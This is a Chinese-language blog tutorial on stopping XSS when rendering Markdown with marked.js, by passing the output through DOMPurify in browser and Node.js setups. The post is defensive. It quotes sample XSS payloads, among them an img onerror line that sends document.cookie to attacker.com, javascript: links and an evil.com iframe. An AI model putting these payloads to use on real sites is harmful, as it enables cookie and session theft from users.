marked.js 怎么防止 XSS 攻击?配合 DOMPurify 清洗 HTML 的最佳实践
深入解析 marked.js 渲染 Markdown 导致 XSS 跨站脚本攻击的根本原因,详细讲解配合 DOMPurify 净化 HTML 的最佳实践方案,覆盖浏览器客户端、Node.js SSR 服务端配置与外链安全加固。
innerHTML,将为跨站脚本(XSS)攻击敞开大门。彻底防止 XSS 的业界标准方案是分工明确的流水线架构:先由 marked.parse() 完成语法转译,紧接着由经过严密安全审查的白名单库 DOMPurify 介入对 HTML 字符串进行深度清洗,最后才将安全结果呈现给用户。
一、为什么 marked.js 无法单独抵御 XSS 攻击?
很多开发者在初次使用 marked.js 时容易产生一个误解,认为 Markdown 解析器会像模板引擎那样默认对标签进行实体转义。然而,根据 CommonMark 与 GitHub Flavored Markdown (GFM) 规范,Markdown 规范天然允许直接嵌入原生 HTML 标签。
这意味着,任何包含在 Markdown 源码中的 HTML 标签都会被 marked.js 原封不动地传递到输出的 HTML 字符串中。例如以下常见输入:
# 用户留言标题
这是一段正文,包含恶意代码:
<img src="x" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
<a href="javascript:alert(document.domain)">点击查看详情</a>
当调用 marked.parse(input) 时,上述 <img onerror> 和带有 javascript: 伪协议的链接将被完整保留。如果直接执行 container.innerHTML = rawHtml,浏览器在解析并渲染 DOM 的瞬间就会自动触发 onerror 脚本或诱导用户点击恶意链接,导致会话 Cookie 被盗取、DOM 被篡改等严重后果。
sanitize: true 为什么被废弃?早期版本的 marked.js 曾提供过
sanitize: true 配置项。但官方团队早已将其废弃并在后续版本中彻底移除。原因在于:Markdown 解析器的专长在于词法分析与 AST 构建,依靠简单的正则表达式替换或字符转义无法应对突变型 XSS(mXSS)以及浏览器解析引擎特有的容错变形机制。marked.js 官方明确建议将安全过滤工作委托给专用的净化库 DOMPurify。
二、浏览器端集成方案:标准清洗流水线
在前端单页应用(SPA)或普通 Web 页面中,防范 XSS 的标准写法非常直接。我们先安装依赖:
npm install marked dompurify
如果使用 CDN 或纯 HTML 页面,可通过 script 标签引入:
<script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/dompurify/dist/purify.min.js"></script>
1. 基础两步清洗法
核心原则是坚决不让未过滤的 HTML 接触 DOM 树。编写一个通用的安全渲染函数:
import { marked } from 'marked';
import DOMPurify from 'dompurify';
/**
* 将不可信 Markdown 渲染为安全的 HTML 字符串
* @param {string} markdownContent
* @returns {string} 经过白名单过滤的安全 HTML
*/
export function renderSafeMarkdown(markdownContent) {
if (!markdownContent || typeof markdownContent !== 'string') {
return '';
}
// 第一步:语法编译,产出原始 HTML(此时仍可能含注入脚本)
const rawHtml = marked.parse(markdownContent);
// 第二步:使用 DOMPurify 执行白名单深度过滤
const cleanHtml = DOMPurify.sanitize(rawHtml);
return cleanHtml;
}
// 挂载到页面 DOM
const outputContainer = document.getElementById('preview-container');
outputContainer.innerHTML = renderSafeMarkdown(userMarkdownInput);
2. 关键进阶:外链安全与 Hook 增强
虽然 DOMPurify 默认会自动过滤掉 javascript: 伪协议链接,但在 Markdown 渲染场景中,经常需要将外链设置为新窗口打开(target="_blank")。若仅仅设置 target="_blank" 而不添加 rel="noopener noreferrer",外部页面可以通过 window.opener 对象篡改来源页面,引发反向 Tabnabbing 钓鱼风险。
DOMPurify 提供了强大的生命周期钩子(Hooks),可以在属性清洗阶段自动为超链接补全安全标记:
import DOMPurify from 'dompurify';
// 注册 afterSanitizeAttributes 钩子
DOMPurify.addHook('afterSanitizeAttributes', function(node) {
// 检查是否为 a 标签且包含 href
if (node.tagName === 'A' && node.hasAttribute('href')) {
const href = node.getAttribute('href');
// 如果是外链(以 http/https 开头)
if (/^https?:\/\/\/i.test(href)) {
node.setAttribute('target', '_blank');
// 必须同时配置 noopener 与 noreferrer 防止父窗口劫持
node.setAttribute('rel', 'noopener noreferrer');
}
}
});
3. 自定义白名单规则
对于权限要求更严密的业务场景(例如仅允许基础文本排版,禁止用户插入图片或表格),可以通过 DOMPurify 配置项收窄标签与属性白名单:
const strictCleanHtml = DOMPurify.sanitize(rawHtml, {
// 仅允许基础文本排版标签
ALLOWED_TAGS: ['p', 'b', 'strong', 'i', 'em', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote', 'a'],
// 仅允许超链接的 href 属性
ALLOWED_ATTR: ['href', 'target', 'rel'],
// 强制禁止 data: 协议图片(防止过大 Base64 占用内存或潜在载荷)
ALLOW_DATA_ATTR: false
});
三、服务端渲染(SSR)与 Node.js 场景适配
在基于 Next.js、Nuxt、Express 等服务端渲染架构中,由于 Node.js 运行环境没有原生全局的 window 和 document,直接引入 dompurify 默认入口会导致 window is undefined 异常。
1. 引入 jsdom 虚拟环境
DOMPurify 针对 Node.js 提供了工厂函数支持。推荐配合 jsdom 建立虚拟窗口实例:
npm install jsdom
标准服务端过滤模块实现如下:
import { JSDOM } from 'jsdom';
import createDOMPurify from 'dompurify';
import { marked } from 'marked';
// 创建单例 window 实例(请勿在请求处理函数内频繁 new JSDOM)
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
export function sanitizeMarkdownServerSide(markdownString) {
const rawHtml = marked.parse(markdownString);
return DOMPurify.sanitize(rawHtml);
}
new JSDOM() 初始化需要构建完整的虚拟 DOM 树与上下文环境,开销较高。在服务端高并发场景下,如果为每一个渲染请求重复实例化 JSDOM,会导致 CPU 使用率飙升与吞吐量剧降。正确的做法是在应用启动阶段初始化一次单例 createDOMPurify(window),在所有请求间安全复用。
四、代码高亮等插件与 DOMPurify 的协同顺序
在实际技术博客或文档系统中,Markdown 通常需要搭配代码高亮库(如 highlight.js 或 Prism.js)。此时处理时序至关重要:
- 错误时序:清洗原始 Markdown ➔ 传给 marked。这种做法完全无效,因为 DOMPurify 针对的是 HTML 树结构,对 Markdown 语法字符无效。
- 推荐时序 A(服务端/静态预渲染):
在 marked 配置中使用扩展(如
marked-highlight),marked 会在生成 HTML 时将代码块包裹为<pre><code class="hljs language-javascript">...</code></pre>。此时将结果送入 DOMPurify,DOMPurify 默认允许pre、code以及合法的class属性,高亮样式得以完好保留。 - 推荐时序 B(客户端按需高亮):
marked 转译 ➔ DOMPurify 清洗 ➔ 写入 DOM ➔ 调用
hljs.highlightAll()针对已上屏的代码块进行就地高亮。这种时序最稳健,完全隔离了渲染与安全校验逻辑。
五、安全效果对照与验证测试
为验证 marked.js + DOMPurify 流水线的防御可靠性,可参考以下典型测试向量对照表:
| 输入 Markdown 样本 | 未清洗 (直接 marked 渲染) | 配合 DOMPurify 清洗后结果 |
|---|---|---|
<script>alert(1)</script> |
脚本执行 原生注入 | 安全 <script> 标签及内部代码被完全剥离 |
<img src="x" onerror="evil()"> |
脚本执行 图片加载失败立即触发 | 安全 保留 <img src="x">,onerror 属性被精准切除 |
[点击领取](javascript:steal()) |
诱导点击 链接触发 JS 伪协议 | 安全 移除非法 href,或直接丢弃危险伪协议 |
<iframe src="//evil.com"> |
界面劫持 嵌入外部钓鱼框架 | 安全 <iframe> 默认不在白名单内,自动剔除 |
六、纵深防御总结清单
要构建工业级健壮的 Markdown 渲染系统,除遵循本文的集成规范外,建议将以下措施列入上线核验清单:
- 永远执行净化流水线:遵循
Markdown ➔ marked.parse() ➔ DOMPurify.sanitize() ➔ DOM的单向管道,禁止任何未过滤字符串流入innerHTML或v-html/dangerouslySetInnerHTML。 - 配置内容安全策略(CSP):在 HTTP 响应头中配置严格的 CSP(例如
default-src 'self'; script-src 'self'; object-src 'none';),禁用unsafe-inline,即使发生漏网之鱼,浏览器也会在底层拒绝执行内联脚本。 - 保持 DOMPurify 定期升级:安全攻防是动态演进的,新型 mXSS 语法会利用特定浏览器版本的 DOM 解析怪异特性尝试绕过,保持 DOMPurify 处于最新稳定版是抵御新漏洞的关键。
UmiJS 项目构建速度优化与打包体积精简技巧
2026-11-04 22:37:09
原生JS操作DOM与Vue/React虚拟DOM的本质区别
2026-11-04 17:52:27
怎么使用console.group和table优化JS日志可读性
2026-11-03 23:14:34
基于AST抽象语法树的JS代码反混淆实战教程
2026-11-03 21:22:24
JS手机号输入校验的性能优化与用户体验提升
2026-11-03 19:19:19
相关标签:








